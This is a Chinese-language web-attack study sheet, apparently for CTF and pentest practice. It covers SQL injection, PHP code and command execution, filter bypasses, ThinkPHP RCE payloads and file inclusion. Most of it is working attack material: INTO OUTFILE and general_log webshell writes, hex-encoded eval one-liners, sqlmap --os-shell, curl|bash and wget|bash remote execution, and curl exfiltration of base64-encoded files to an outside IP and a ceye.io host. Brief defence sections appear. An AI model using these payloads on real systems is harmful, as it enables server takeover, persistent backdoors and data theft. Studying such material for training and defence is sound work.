SQL注入

漏洞原理

程序员在设计SQL查询时,没有对用户的输入进行过滤,导致一些恶意参数的输入可以获得未预期的敏感数据

漏洞产生位置

get传参、post传参、Cookie、User-Agent 、X-Forwarded-For(ip伪造)

漏洞利用方式

数据查询(拖库)、文件读取、命令执行、提权

判断数据库类型

1.使用报错信息判断

2.使用数据库特有的函数、符号来判断

MySQL SQL Server Oracle
length() len() length()
@@version, version(); @@version; 二者都返回错误可能是oracle
substring, substr substring() substr()
trim(), rtrim(), ltrim() rtrim(), ltrim() rtrim(), ltrim()
concat(),+ (||默认不可) + concat(),||
#, --[0x20], /**/ – , /**/ REM, – , /**/
BENCHMARK()、SLEEP() WAITFOR DELAY dbms_pipe.receive_message()
length(version()) len(@@version) 二者都返回错误可能是oracle

‘;’是子句查询标识符,Oracle不支持多行查询,若返回错误,则说明可能是Oracle数据库

3.使用该类型数据库特有的数据库、系统表

Mysql:information_schema.TABLES

Mssql:sysobjects

Oracle:sys.user_tables

4.信息搜集,如端口号、服务端语言等

Oracle:默认端口1521

SQL Server:默认端口1433

MySQL:默认端口3306

asp:SQL Server、Access

php:MySQL

java:Oracle,MySQL

SQL注入利用

万能密码

通过注入恶意参数,改变原来SQL语句的语法结构

1
2
'or 1=1#
'||'1

注入类型

按照获取信息的方式分类:联合查询、报错注入、布尔盲注、时间盲注

按照数据提交的方式分类:GET、POST、Cookie、HTTP头(XFF、UA、Referer)

按照注入点类型分类:数字型、字符型、搜索型

按照执行效果分类:布尔、时间、报错

联合注入 、布尔盲注、时间盲注、报错注入、增删改注入、二次注入、堆叠注入、order by注入 、limit注入(5.6.6以下) (-- -是注释符)

联合注入
  1. 判断闭合方式,闭合sql语句 ' ') ')) " ") "))

  2. order by查询列数

  3. union select查询输出位置

  4. 查询数据库名

  5. 查询表名

  6. 查询列名

    1
    information_schema数据库是MySQL自带的,MySQL 5以下没有这个数据库,它提供了访问数据库元数据的方式。元数据中包含数据库名、表名、列名(字段名)。MySQL 5以下版本只能爆破获取

    group_cancat将所有返回结果通过逗号连接

    查询mysql中所有数据库的名字:

    union select 1,2,group_concat(schema_name) from information_schema.schema

    查询当前数据库中所有表的名字:

    union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()

    查询test数据库user表中所有列名:

    union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=‘test’ and table_name=‘user’

  7. 查询数据

报错注入

SQL报错注入就是利用数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。这种手段在能返回错误信息但是联合查询受限且的情况下比较好用。

MYSQL报错注入个人认为大体可以分为以下几类:

1.BIGINT等数据类型溢出(mysql5.5.47-5.5.53)

当 MySQL 在某个数值列上存储超出列数据类型允许范围的值时,就会发生整型溢出,利用这个特性可以将查询结果的返回值(查询成功返回值为0)进行数学运算,产生整型溢出,报出查询的结果。

1
2
select 1,2,(exp(~(select * from(select user())a))) 
--利用exp,double整型溢出
1
2
union select 1,2,(!(select * from (select user())x) - ~0) 
--bigint整型溢出
1
2
mysql> select exp(~(select*from(select user())x)); 
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'

2.xpath语法错误(常用*

从mysql5.1.5开始提供两个XML查询和修改的函数,extractvalueupdatexml。它们的第二个参数都要求是符合xpath语法的字符串,如果不满足要求,则会报错,并且将查询结果放在报错信息里:

1
2
3
select updatexml(1,concat(0x7e,(select version()),0x7e),1);
select extractvalue(1,concat(0x7e,(select user()),0x7e));
left() right() substr() reverse()

3.concat+rand()+group_by()导致主键重复

select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x;

select count(*),concat(version(),floor(rand(0)*2))x from user111 group by x;

基于floor(),count(),group by联合使用而产生的报错方式,查询count(*)的虚拟表的主键key不能重复,所查询表中数据大于三条

1.floor() : 返回小于等于某数的最大整数,向下取整。

2.rand() : 产生一个介于0-1之间的floa随机数。rand(0)产生一个固定的随机数。rand(0)*2产生一个介于0-2之间的固定的随机数。

select username,floor(rand(0)*2) from user;

3.group by : 用于给数据分组。

4.count():函数返回指定列的值的数目

select username,count(*) from user group by username;

步骤:floor(rand(0)*2) group by floor(rand(0)*2)

1
2
3
4
1.先建立空表
2.取第一条记录,执行floor(rand(0)*2),发现结果为0(第一次计算),查询虚表,发现没有该键值,则会再计算一次floor(rand(0)*2),将结果1(第二次计算)插入虚表,如下:
3.查第二条记录,再次计算floor(rand(0)*2),发现结果为1(第三次计算),查询虚表,发现键值1存在,所以此时不在计算第二次,直接count(*)值加1,如下:
4.查第三条记录,再次计算floor(rand(0)*2),发现结果为0(第四次计算),发现键值没有0,则尝试插入记录,此时会又一次计算floor(rand(0)*2),结果1(第5次计算)当作虚表的主键,而此时1这个主键已经存在于虚表中了,所以在插入的时候就会报主键重复的错误了。

4.一些特性

几何函数

mysql有些几何函数,例如geometrycollection(),multipoint(),polygon(),multipolygon(),linestring(),multilinestring(),这些函数对参数要求是形如(1 2,3 3,2 2 1)这样几何数据,如果不满足要求,则会报错。经测试,在版本号为5.5.47上可以用来注入,而在5.7.17上则不行:

1
2
3
4
mysql> select multipoint((select * from (select * from (select version())a)b)); 
ERROR 1367 (22007): Illegal non geometric '(select `b`.`version()` from ((select '5.5.47' AS `version()` from dual) `b`))' value found during parsing 5.7.17
mysql> select multipoint((select * from (select * from (select version())a)b));
ERROR 1367 (22007): Illegal non geometric '(select `a`.`version()` from ((select version() AS `version()`) `a`))' value found during parsing

列名重复

mysql列名重复会报错,我们利用name_const来制造一个列:

1
2
3
4
mysql> select * from(select * from test a join test b)c;
ERROR 1060 (42S21): Duplicate column name 'id’
mysql> select * from(select * from test a join test b using(id))c;
ERROR 1060 (42S21): Duplicate column name 'name'
盲注

1.布尔盲注

服务端只会根据你的注入语句返回Ture跟Fales,而不会返回注入语句的查询结果、报错信息。通常是根据返回页面的正常与否、内容差异判定是否查询成功。

2.时间盲注

界面返回值只有true,无论输入语句,即使语句执行成功,但返回内容都没有任何变化。这时候可以通过时间函数,让结果延时返回,通过返回时常的差异判定是否查询成功。

因为盲注并不能获取注入语句的查询结果,只能通过回显差异性判断返回是否成功,所以一般采用逐字爆破的形式将所需数据爆破出来。

需要用到的函数:

length() 返回字符串的长度

substr(str,a,b) 从第a位开始截取字符串str 截取长度为b,

ascii() 返回字符的ascii码

sleep(n) 将程序挂起一段时间 n为n秒

if(expr1,expr2,expr3) 如果第一个语句正确就执行第二个语句,反之执行第三个语句

二次注入

简单的说,二次注入是指已存储(数据库、文件)的用户输入被读取后再次进入到 SQL 查询语句中导致的注入。

X-Forwarded-For头 (ip伪造)

堆叠注入

条件:php中使用mysqli_multi_query()函数执行sql语句(一般情况下会使用mysqli_query())

方式:利用分号 ; 同时执行多条语句。

id=0';create table userTest like users;-- -

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
show databases; 				显示mysql中所有数据库的名称
show tables from <database_name>; 显示数据库中表的名称
show columns form <table_name>;(desc <table_name>;) 显示表中列名称
show create database <database_name>; 显示创建库语句的SQL信息。
show create table <table_name>; 显示创建表语句的SQL信息。
show engines; 显示安装以后可用的存储引擎和默认引擎
show errors; 显示最后一个执行语句所产生的错误
show procedure status <procedure_name>; 显示储存过程内容
show global variables; 显示所有全局变量

set @a=‘admin888’; 设置全局变量
set sql_mode=PIPES_AS_CONCAT; 修改配置参数

handler tbl_name OPEN 打开一个表作为句柄
handler tbl_name READ { FIRST | NEXT} 读取表内容
handler tbl_name CLOSE 关闭句柄
增删改注入

条件:在insert、delete、update语句注入

方式:报错注入、任意修改数据库内容。

宽字节注入

PHP utf-8编码 数据库GBK编码 数据库前端和后端所使用的的编码不同导致

成因:PHP发送请求到mysql时经过一次gbk编码,PHP会将获取到的数据进行魔术引号的处理,因为GBK是双字节编码,所以我们提交的%df这个字符和转译的反斜杠组成了新的汉字,然后数据库处理的时候是根据GBK去处理的,然后单引号就逃逸了出来。
原理:在数据库中使用宽字符集,在web中没有考虑这个问题。由于0XDF27在web中是两个字符,在php中会对0x27进行转义,把0XDF27变成0XDF5c27

注入读写文件
load_file()(读取文件)

必须有权限读取并且文件必须完全可读

欲读取文件必须在服务器上

必须指定文件完整的路径

欲读取文件必须小于 max_allowed_packet

1
2
3
and (select count(*) from mysql.user)>0
--查看是否有读写权限(返回正常是有权限)
union select 1,2,load_file('d:\\wwwroot\\test.php')
into outfile(写文件、写webshell)
1
2
3
4
5
条件:
MYSQL用secure_file_priv这个配置项来完成对数据导入导出的限制,
如果secure_file_priv=NULL,MYSQL服务会禁止导入和导出操作。
如果secure_file_priv=/tmp/,MYSQL服务只能在/tmp/目录下导入和导出
如果secure_file_priv="" ,MYSQL服务导入和导出不做限制

要知道网站绝对路径,可以通过报错,phpinfo界面,404界面等一些方式知道

要有file权限,默认情况下只有root有

对目录要有写权限,一般image之类的存放突破的目录就有

union select写入

1
2
3
4
union select 1,2, into outfile 'd:\\wwwroot\\shell.php'  
union select 1,2,load_file('c:\\user\\test.php')into outfile 'd:\\wwwroot\\test.php'
union select '' into dumpfile 'd:\\wwwroot\\test.php'
union select 0x223c3f70687020406576616c28245f504f53545b2767275d293b3f3e22 into outfile 'd:\\wwwroot\\test.php'

limit写shell(利用文件分隔符)

1
2
3
4
5
6
LIMIT 0,1 INTO OUTFILE 'd:\\wwwroot\\test.php' lines terminated by 0x20273c3f70687020406576616c28245f504f53545b2767275d293b3f3e27

LIMIT 0,1 INTO OUTFILE '物理路径' lines terminated by (一句话hex编码)#
LIMIT 0,1 INTO OUTFILE '物理路径' fields terminated by (一句话hex编码)#
LIMIT 0,1 INTO OUTFILE '物理路径' columns terminated by (一句话hex编码)#
LIMIT 0,1 INTO OUTFILE '物理路径' lines starting by (一句话hex编码)#

log写shell

1
2
3
4
5
show variables like '%general%';             #查看配置
set global general_log = on; #开启general log模式
set global general_log_file = 'd:\\wwwroot\\test.php'; #设置日志目录为shell地址
select '' #写入shell
set global general_log=off; #关闭general log模式
order by

条件:在order by语句注入

方式:报错注入,盲注

http://10.211.55.2/sqli-labs-php7/Less-46?sort=if((ascii(substr((select group_concat(schema_name) from information_schema.schemata) ,1 ,1 ))>0), 2, (select id from information_schema.schemata))-- -

http://192.168.1.5/sqli-labs-php7/Less-46?sort=if((ascii(substr((select group_concat(schema_name) from information_schema.schemata) ,1 ,1 ))>1110), 2, (select id from information_schema.schemata))-- -

http://192.168.1.5/sqli-labs-php7/Less-46?sort=1 or updatexml(1,concat(0x7e,(select version()),0x7e),1)-- -

Limit注入

条件:在limit语句注入,mysql版本:5.0.0< MySQL <5.6.6

ps.新版本中不能够使用select

方式:报错注入,盲注

LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)-- -

LIMIT 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)

sqlmap

sqlmap是一个开源的渗透测试工具,可以用来进行自动化检测,利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。

支持MySQL, Oracle,PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird,Sybase和SAP MaxDB等数据库

sqlmap的使用

1.get注入

数据库名

python3 sqlmap.py -u http://192.168.1.5/sqli-labs-php7/Less-1/?id=1 –dbs

表名

python3 sqlmap.py -u http://192.168.1.5/sqli-labs-php7/Less-1/?id=1 -D security --tables

列名

python3 sqlmap.py -u http://192.168.1.5/sqli-labs-php7/Less-1/?id=1 -D security -T users –columns

数据

python3 sqlmap.py -u http://192.168.1.5/sqli-labs-php7/Less-1/?id=1 -D security -T users -C id,username,password --dump

2.post注入

利用–data参数

python3 sqlmap.py -u http://192.168.1.5/sqli-labs-php7/Less-11/ --data "uname=admin&passwd=aaa" –dbs

3.从文件中获取request

利用-r参数

python3 sqlmap.py -r ./request –dbs

4.sqlmap获取webshell

利用–os-shell参数

条件:

  1. 知道web目录位置(报错得知、默认目录、mysql函数)

  2. secure_file_prie= (一般root用户)

  3. web目录可写(可以找upload这种文件夹)

  4. GPC函数关闭(高版本默认关闭)

python3 sqlmap.py -u http://192.168.1.5/sqli-labs-php7/Less-1?id=1 --os-shell

5.cookie注入

python sqlmap/sqlmap.py -u http://www.any.com/sqli/Less-20/index.php --cookie "uname=admin" --level 2

sqlmap其他参数

1、-u : 指定目标URL

2、-b : 获取DBMS banner

3、–current-db : 获取当前数据库

4、–current-user:获取当前用户

5、–users : 枚举DBMS用户

6、–password : 枚举DBMS用户密码hash

7、–level 设置探测等级

设置探测等级,Cookie在level为2的时候就会测试,User-Agent/Referer头默认是1。等级越高,说明探测时使用的payload也越多。其中5级的payload最多,会自动破解出cookie、XFF等头部注入。当然,等级越高,探测的时间也越慢。这个参数会影响测试的注入点,GET和POST的数据都会进行测试,HTTP cookie在level为2时就会测试,HTTP User-Agent/Referer头在level为3时就会测试。在不确定哪个参数为注入点时,为了保证准确性,建议设置level为5

SQL注入绕过与防御

SQL注入绕过

1、空格:

括号绕过: select(password)from(users);

%0a等字符替代绕过:%00,%09,%0a,%0b,%0c,%0d,%20,%2b……

(内联)注释替代绕过:/**/,/!**/

2、逗号:

from for: substr(‘asdzxcqwe’ from 1 for 2);

join: union select * from (select 1)a join (select 2)b join (select 3)c

offset: limit 1 offset 0

3、单引号:

hex编码: SELECT password FROM Users WHERE username = 0x61646D696E

char编码: SELECT FROM Users WHERE username = CHAR(97, 100, 109, 105, 110)

%2527:magic_quotes_gpc开启可用 宽字符绕过

4、比较符号:

等于:=、like、regexp、rlike(默认不匹配大小写,需添加关键字binary)

不等于:!=、<>

大小于: greatest()、least()

select greatest(ord(‘a’),0)=97;

select ord(‘a’) between 0 and 97

select (ord(substr('asd’from 1 for 1)) in (97))

5、注释符:

– -、%23、;%00、构造合法语句

6、等效函数:

hex() bin() ascii() ord()

sleep() benchmark(5000000,select 1)benchmark(n,sql)-->将sql语句执行n遍,延时效果

concat_ws() group_concat()

mid() substr() substring()

@@user user()

@@datadir datadir()

SQL注入防御

1.严格限制网站访问数据库的权限。

2.数据类型进行严格定义,数据长度进行严格规定。

比如查询数据库某条记录的id,定义它为整型(强制类型转换),如果用户传来的数据不满足条件,要对数据进行过滤。数据长度也应该做严格限制,可以防止较长的SQL注入语句。

如mysql中 '1a'=1会判定为真

3.对用户输入进行转过滤

例如通过转义将’转义为’

4.基于攻击特征的匹配过滤

黑名单白名单

5.采用sql语句预编译order by / limit

先将查询语句固定 通过函数将传参变为字符串 拼接字符串去执行 你的关键字根本不会当作关键字去执行

命令执行

代码执行原理

代码执行是指应用程序在调用⼀些能够将字符串转换为代码的函数时,没有考虑用户是否控制这个字符串,将造成代码执行漏洞,使得用户能利用任意脚本代码(PHP)。

Webshell含义

webshell 就是以网页文件形式存在的一种命令/代码执行环境,也可以将其称做为一种网页后门。由于 webshell 其大多是以动态脚本的形式出现,也有人称之为网站的后门工具。一句话木马、小马、大马都可以叫 webshell。

一句话木马

利用一行或少量代码即可执行了我们发送的命令

phpinfo();

输出关于 PHP 配置的信息

代码执行函数

1.eval();

eval是一个语言结构,eval () 函数把字符串按照 PHP 代码来执行,该字符串必须是合法的 PHP 代码,且必须以分号结尾

<?php eval($_POST['cl4y']);?>

2.assert();

php4 php5 php7.0 中assert()是一个函数,php7.1中为语法结构

assert() 函数把字符串按照 PHP 代码来执行

3.preg_replace($pattern , $replacement , $subject); (PHP<5.5.0)

PHP<5.5.0时 使用/e 模式修正符,preg_replace() 将 $replacement 当做php代码来执行

4.include、require … … 开启allow_url_include(php>5.2.0)

需要allow_url_include=On

利用data:// php://input 伪协议getshell

1
<?php include $_POST['bm']; ?>

bm=php://input <?php phpinfo(); ?>

bm=data://text/plain,<?php phpinfo(); ?>

5.create_function()

根据传递的参数创建一个匿名函数。

1
<?php $b = create_function('',$_POST['para']);$b(); ?>

6.call_user_func()

第一个参数 fun 是被调用的回调函数,其余参数是回调函数的参数。

1
<?php call_user_func($_GET["fun"],$_GET["para"]); ?>

7.可变函数(动态函数) GET[a](_GET['a'](_GET[‘b’]);

PHP 支持可变函数的概念。这意味着如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数,并且尝试执行它。可变函数可以执行,php原生函数、或者自定义函数。

•可变函数作用范围

可变函数不能用于例如 eval(),echo,print,unset(),isset(),empty(),include,require 以及类似的语言结构。需要使用自己的包装函数来将这些结构用作可变函数。PHP7.1版本以后assert为语言结构。

1
<?php $_POST['fun']($_POST['para']); ?>

Payload:fun=assert&para=phpinfo()

命令执行原理

代码执行漏洞应用有时需要调用⼀些执行系统命令的函数,当用户能控制这些函数中的参数时,就可以将恶意系统命令拼接到正常命令中,从而造成命令执行攻击,这就是命令执行漏洞。简单来说就是:”靠执行脚本代码调用操作系统命令“

命令执行函数

命令执行函数

system system('pwd');

exec print_r(exec('pwd'));

反引号 ``

1
print_r(`pwd`)

shell_exec

passthru

popen

proc_popen

Linux 远程执行恶意代码

01、curl
以用curl的方式执行http页面上的shell脚本,无需download,在本地机器上直接执行。
方式1:curl -fsSL http://...:8080/test.sh | bash
方式2:bash < <( curl http://...:8080/test.sh )

02、wget
执行wget命令远程下载恶意程序。
方式1:wget -q -O- http://...:8080/test.sh | bash
方式2:wget http://...:8080/shell.txt -O /tmp/x.php && php /tmp/x.php
curl+wget合并,实现无文件远程恶意代码执行。
bash -c ‘(curl -fsSL http://...:8080/test.sh||
wget -q -O- http://...:8080/test.sh)|bash -sh >/dev/null 2>&1&’

03、rcp
rcp命令用于复制远程文件或目录。
rcp root@x.x.x.x:./testfile testfile

04、scp
scp 是 rcp 的加强版,scp 是加密的,rcp 是不加密的。
scp username@servername:/path/filename /tmp/local_destination

Linux命令及绕过

Linux基础

Linux命令

  1. cat [filename] 读取文件

  2. touch 新建一个文件

  3. mkdir 创建一个目录

  4. mv 移动文件/目录

  5. cp 复制文件/目录

  6. ls -la 读取隐藏目录列出当前目录下的所有文件及权限

  7. rm -rf 递归 强制删除文件

  8. chmod 设置文件权限

  9. ifconfig 显示Linux内核中网络接口的网络参数

  10. whoami 用于显示自身用户名称

  11. find 指定目录下查找文件

  12. grep 查找符合条件的字符串

  13. history 查看历史命令

  14. netstat 显示网络状态

Linux输出重定向

  1. command > file 将输出重定向到 file。

  2. command >> file 将输入以追加的形式重定向到file

Linux管道符(命令逃逸)

  1. & 表示任务在后台执行

  2. && 前面命令为真,则执行后面命令

  3. | 表示管道,上一条命令的输出,作为下一条命令参数/输入

  4. || 前面命令为假,则执行后面命令

  5. ; 按顺序执行命令

Windows管道符(命令逃逸)

  1. | 直接执行后面的语句

  2. || 前面命令为假,则执行后面命令

  3. & 按顺序执行所有语句

  4. && 前面命令为真,则执行后面命令

Linux命令绕过

关键字绕过

利用空字符、空变量、转译符

c’'at /f""lag

cat /fl’'azheg

ca\t /fl\ag

ca$@t /fl\ag

ca$9t /fl\ag

Linux中$[0-9]、$*、$!、$@表示参数

字符串拼接

a=c;b=at;c=/flag;aab $c

Linux中变量以英文字母,数字和下划线,首个字符不能以数字开头

利用花括号

  1. cat f{la,}g 花括号通过逗号分割构建序列并展开
  2. {c,at}{c,at} /flag 花括号可以表示两个序列的笛卡尔积

利用通配符

  1. cat /fl* *匹配任意长度的任意字符

  2. cat /f?ag f匹配一个任意字符

  3. cat /fl[a-z]g 匹配[list]列表中的所有字符

  4. cat /f[^1,2,5,f,h,e]ag 匹配非列表[^list]中的所有字符

利用编码

  1. echo Y2F0IC9mbGFn|base64 -d|bash 打印|解码|bash运行
  2. echo 636174202f666c6167 | xxd -r -p|bash
  3. $(printf “\x63\x61\x74\x20\x2f\x66\x6c\x61\x67”)
  4. `printf “\x63\x61\x74\x20\x2f\x66\x6c\x61\x67”` $()与``都可以把字符串当做命令执行
cat命令绕过

cat /flag

tac /flag

more /flag

less /flag

head /flag

tail /flag

tail -f filename 会把 filename 文件里的最尾部的内容显示在屏幕上,并且不断刷新,只要 filename 更新就可以看到最新的文件内容。常用于查看正在改变的日志文件

nl /flag

od /flag

rev /flag

空格绕过

利用重定向

  1. cat</flag
  2. cat<>/flag

利用分割符

  1. cat$IFS/flag
  2. cat$IFS$9/flag
  3. cat${IFS}/flag

利用花括号

  1. {cat,/flag}
无回显

数据外带

利用日志、监听端口

curl 118.178.243.60:4444/`cat flag|base64` 端口监听nc -lvvp 4444

利用ceye.io

curl k3axag.ceye.io/`cat flag|base64`

绕过disable_function()

​ 为了安全起见,很多运维人员会禁用PHP的一些“危险”函数,例如eval、exec、system等,将其写在php.ini配置文件中,就是我们所说的disable_functions了,特别是虚拟主机运营商,为了彻底隔离同服务器的客户,以及避免出现大面积的安全问题,在disable_functions的设置中也通常较为严格。

​ 如果在渗透时,上传了webshell却因为disable_functions禁用了我们函数而无法执行命令的话,这时候就需要想办法进行绕过,突破disable_functions。

利用 LD_PRELOAD 环境变量

​ LD_PRELOAD是Linux系统的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的攻击目的。

利用条件

1.能够上传自己的.so文件

2.能够控制LD_PRELOAD环境变量的值,比如putenv()函数

3.因为新进程启动将加载LD_PRELOAD中的.so文件,所以要存在可以控制PHP启动外部程序的函数并能执行,比如mail()、imap_mail()、mb_send_mail()和error_log()函数等

常见突破 disable_functions 限制执行操作系统命令的方式

编写一个原型为 uid_t getuid(void); 的 C 函数,内部执行攻击者指定的代码,并编译成共享对象 getuid_shadow.so;

运行 PHP 函数 putenv()(用来配置系统环境变量),设定环境变量 LD_PRELOAD 为 getuid_shadow.so,以便后续启动新进程时优先加载该共享对象;

运行 PHP 的 mail() 函数,mail() 内部启动新进程 /usr/sbin/sendmail,由于上一步 LD_PRELOAD 的作用,sendmail 调用的系统函数 getuid() 被优先级更好的 getuid_shadow.so 中的同名 getuid() 所劫持;

达到不调用 PHP 的 各种 命令执行函数(system()、exec() 等等)仍可执行系统命令的目的。

之所以劫持 getuid(),是因为 sendmail 程序会调用该函数(当然也可以为其他被调用的系统函数),在真实环境中,存在两方面问题:

1.某些环境中,web 禁止启用 sendmail、甚至系统上根本未安装 sendmail,也就谈不上劫持 getuid(),通常的 www-data 权限又不可能去更改 php.ini 配置、去安装 sendmail 软件;

2.即便目标可以启用 sendmail,由于未将主机名(hostname 输出)添加进 hosts 中,导致每次运行 sendmail 都要耗时半分钟等待域名解析超时返回,www-data 也无法将主机名加入 hosts(如,127.0.0.1 lamp、lamp.、lamp.com)。

基于这两个原因,我们找到了一个方式,在加载时就执行代码(拦劫启动进程),而不用考虑劫持某一系统函数,那我就完全可以不依赖 sendmail 了(在蚁剑中也有绕过disable_function()的插件)
https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD

bypass_disablefunc.php:一个用来执行命令的 webshell。

bypass_disablefunc_x64.so或bypass_disablefunc_x86.so:执行命令的共享对象文件,分为64位的和32位的。

bypass_disablefunc.c:用来编译生成上面的共享对象文件。

绕过open_basedir()

•Open_basedir是PHP设置中为了防御PHP跨目录进行文件(目录)读写的方法,所有PHP中有关文件读、写的函数都会经过open_basedir的检查。

•Open_basedir实际上是一些目录的集合,在定义了open_basedir以后,php可以读写的文件、目录都将被限制在这些目录中。

•对系统函数没用system()

1.因为open_basedir设计逻辑的安全问题,我们可以通过如下payload不断讲目录向上级回溯来绕过。
mkdir('cl4y');chdir('cl4y');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(scandir('/’));

2.利用 DirectoryIterator+glob://
传入glob:///*

1
2
3
4
5
6
7
<?php 
$c = $_GET['c'];
$a = new DirectoryIterator($c);
foreach($a as $f){
echo($f->__toString().'<br>');
}
?>

3.利用symlink绕过

4.利用bindtextdomain和SplFileInfo方法

5.利用SplFileInfo::getRealPath()方法

6.利用realpath列目录

命令执行防御

  1. 尽量不要执行外部命令
  2. 使用自定义函数或者函数库来代替外部命令的功能。
  3. 使用escapeshellarg()、escapeshellcmd()函数来处理命令参数。
  4. 禁用一些敏感字符 比如 ; && cat 等连接符与常用命令

https://buuoj.cn/challenges#[GXYCTF2019]Ping Ping Ping

CVE漏洞复现

1.https://buuoj.cn/challenges#[ThinkPHP]5-Rce

?s=index|think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][0]=whoami

2.https://buuoj.cn/challenges#[ThinkPHP]2-Rce

index.php?s=/index/index/xxx/${${@eval($_POST[cl4y])}}

3.https://buuoj.cn/challenges#[ThinkPHP]5.0.23-Rce

?s=captcha

post:_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami

文件包含

任意文件读取/删除

漏洞描述

很多网站由于业务需求,往往需要提供文件下载、读取、删除等功能块,但是如果对下载的文件没有做限制,直接通过绝对路径、相对路径对其文件进行读取,那么,用户就可以利用这种方式读取服务器的敏感文件、获取网站源代码、进行SSRF漏洞攻击。

产生原因

•存读取文件的函数

•读取文件的路径用户可控,且未校验或校验不严

•输出了文件内容

1
2
3
index.php?file=/etc/passwd
image.php?img=../../../../../../etc/hosts
file.php?f=Li9jb25maWcucGhw

文件读取函数

•show_source() 高亮显示文件内容

•highlight_file() 高亮显示文件内容(别名)

•readfile() 读取文件内容并输出

•file_get_contents() 将文件读取为字符串

•file() 将文件按行读取为数组

绝对路径与相对路径

文件路径就是文件在电脑中的位置,表示文件路径的方式有两种,相对路径和绝对路径。在网页设计中通过路径可以表示链接,插入图像、CSS文件,或者用来读取、下载、包含文件。

绝对路径

/var/html/www/index.php
/etc/passwd
C:\phpStudy\PHPTutorial\WWW\flag

相对路径

./index.php
…/…/…/…/…/…/…/etc/passwd
.\flag

漏洞产生位置

读取/下载图片、文件内容;

下载附件;

预览文档;

导出文档;

修改、保存文档等

删除文件、附件、图片、替换、配置等

  1. get传参、post传参

  2. 网页内某些链接

  3. 一些api调用

利用方式

•读取web源码

•读取数据库文件

•读取服务器配置文件

•读取日志文件

•读取proc文件系统

常用配置与文件位置

Linux系统配置文件

/etc/passwd 系统用户账号

/etc/shadow 系统用户密码

/etc/hosts ip地址与域名快速解析的文件

/root/.bash_history root的bash历史记录

/root/.mysql_history mysql的bash历史记录

/opt/nginx/conf/nginx.conf nginx的配置文件

/etc/my.cnf mysql配置文件

/etc/httpd/conf/httpd.conf httpd的配置文件

Windows系统配置文件

C:\boot.ini 查看系统版本

C:\Windows\System32\inetsrv\MetaBase.xml IIS配置文件

C:\Windows\php.ini php配置信息

C:\Windows\my.ini Mysql配置信息

Apache日志文件

/var/log/apache2/access.log

/var/log/apache2/error.log

Nginx日志文件

/var/log/nginx/access.log

/var/log/ nginx/error.log

Mysql日志文件

/var/lib/mysql/

文件包含原理

漏洞描述

服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的内容,将之当成PHP脚本来执行。而由于包含的文件名没有经过合理的校验,从而包含了预想之外的文件,导致意外的文件泄露甚至恶意的代码注入,主要包括本地文件包含远程文件包含两种形式。

产生原因

文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意文件,导致了执行了非预期的代码。

文件包含函数

PHP中文件包含函数有以下四种:

require()

require_once()

include()

include_once()

include和require区别主要是,include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行;而require函数出现错误的时候,会直接报错并退出程序的执行。

而include_once(),require_once()这两个函数,与前两个的不同之处在于这两个函数只包含一次,适用于在脚本执行期间同一个文件有可能被包括超过一次的情况下,你想确保它只被包括一次以避免函数重定义,变量重新赋值等问题。

PHP中文件包含函数特点:

文件包含不需要考虑文件名是否为php

包含的文件当中,存在符合php语法的内容,则执行这些内容。

包含的文件当中,不存在符合php语法的内容,则原封不动的输出这些内容

符合php语法的内容:

从PHP脚本声明标签开始到结束

1
2
3
<?php phpinfo(); ?>
<? phpinfo(); ?>
<script language='php'> phpinfo(); </script>

文件包含利用

本地文件包含LFI

本地文件包含漏洞 LFI(Local File Inclusion),顾名思义,指的是能打开并包含本地文件的漏洞。大部分情况下遇到的文件包含漏洞都是LFI。

本地文件包含利用

  1. 包含本地文件,读取敏感文件
  2. 将shell写入日志,包含日志文件getshell

    包含apache、nginx、mysql、php日志getshell

    http://xxx.xxx/include.php?file=C:\phpStudy\PHPTutorial\nginx\logs\access.log

  3. 将shell写入session文件,包含session文件getshell

    如果环境为php且开启了session,可以尝试包含php的session文件

    默认情况下,php.ini 中设置的 SESSION 保存方式是 files(session.save_handler = files),即使用读写文件的方式保存 SESSION 数据,而 SESSION 文件保存的目录由 session.save_path 指定,文件名以 sess_ 为前缀,后跟 SESSION ID,如:sess_c72665af28a8b14c0fe11afe3b59b51b。文件中的数据即是序列化之后的 SESSION 数据了。

    Linux默认路径是储存在/tmp 或 /var/lib/php/sessions(受版本影响)

    http://192.168.1.2/lesson/include/include.php?file=/Applications/MAMP/tmp/php/sess_fdcf5a5ae05368ba2b44ef0824b2e130

    文件路径可以再phpinfo()中查看

  4. 结合PHP伪协议getshell
  5. 结合文件上传getshell

    通常与文件上传结合getshell,如上传txt或者jpg等,在文件末尾加入一句话,如```。结合文件包含漏洞,即可解析代码

    http://xxx.xxx/include.php?file=shell.jpg

  6. 远程文件包含getshell

    PHP的配置文件allow_url_fopen和allow_url_include设置为ON,include/require等包含函数可以加载远程文件,如果远程文件没经过严格的过滤,导致了执行恶意文件的代码,这就是远程文件包含漏洞。

